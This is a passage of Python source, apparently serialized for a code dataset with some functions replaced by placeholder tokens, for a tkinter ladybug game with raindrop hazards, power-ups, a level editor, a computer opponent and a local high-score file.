event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\ndef levelCreatedKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.levelEditorLives > 0:\n if event.keysym == 'Left' and data.cx >= 317:\n data.cx -= data.lane / 2\n elif event.keysym == 'Right' and data.cx <= 740:\n data.cx += data.lane / 2\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef levelCreatedRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n if data.powerUpsEditor == True:\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 100, text='Total Lives: %d' % data.\n levelEditorLives, font='Arial 20 bold', fill='yellow')\n canvas.create_text(data.width / 2, 660, text=\n \"\"\"You lose a life for hitting a drop\n & don't get eaten!\"\"\",\n font='Arial 15 bold', fill='yellow')\n if data.levelEditorLives <= 0:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n if data.level > 1:\n winEditor(canvas, data)\n drawHome(canvas, data)\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\ndef difficultyTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef difficultyRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawDifficulties(canvas, data)\n drawHome(canvas, data)\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\ndef helpKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n\n\ndef init(data):\n data.score = 0\n data.mode = 'splashScreen'\n data.timerDelay = 100\n data.height = 800\n data.width = 800\n data.speed = 10\n data.speedAI = 12\n data.speedAI2 = 12\n data.switchOnProgress = False\n data.r = 25\n data.cx = 280\n data.cy = 750\n data.onLeft1, data.onLeft2 = True, True\n data.win = False\n data.coconuts = []\n data.powerUps = []\n data.coconuts1 = []\n data.coconuts2 = []\n data.coconutsAI1 = []\n data.coconutsAI2 = []\n data.invincible = []\n data.pauseDrops = False\n data.pause1Drop = False\n data.pause2Drop = False\n init1(data)\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\ndef init3(data):\n data.yes = data.notClick\n data.no = data.notClick\n data.enter = data.notClick\n data.levelEditorLives = 2\n data.rSpeed = None\n data.start = None\n data.start1 = None\n data.start2 = None\n data.difficulty = None\n data.mode1 = data.notClick\n data.mode2 = data.notClick\n data.mode3 = data.notClick\n data.mode4 = data.notClick\n data.mode5 = data.notClick\n data.mode6 = data.notClick\n data.home = PhotoImage(file='home.gif')\n data.helpScreen = PhotoImage(file='help1.gif')\n data.title = PhotoImage(file='title.gif')\n data.scoreList = []\n data.spotList = [270, 364, 458, 552, 646, 740]\n data.savedScores = readFile('score.txt')\n if data.mode == 'levelCreated':\n setEverything(data)\n initsplashScreenNumbers(data)\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\ndef mousePressed(event, data):\n if data.mode == 'splashScreen':\n splashScreenMousePressed(event, data)\n elif data.mode == '1Player':\n playerMousePressed(event, data)\n elif data.mode == '2Player':\n twoPlayerMousePressed(event, data)\n elif data.mode == 'editor':\n editorMousePressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedMousePressed(event, data)\n elif data.mode == 'AI':\n AIMousePressed(event, data)\n elif data.mode == 'difficulty':\n difficultyMousePressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardMousePressed(event, data)\n elif data.mode == 'help':\n helpMousePressed(event, data)\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef writeFile(path, contents):\n with open(path, 'wt') as f:\n f.write(contents)\n\n\ndef readFile(path):\n with open(path, 'rt') as f:\n return f.read()\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\ndef checkHome(event, data):\n if data.homeY - data.r <= event.y <= data.homeY + data.r:\n if data.homeX - data.r <= event.x <= data.homeX + data.r:\n init(data)\n\n\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, 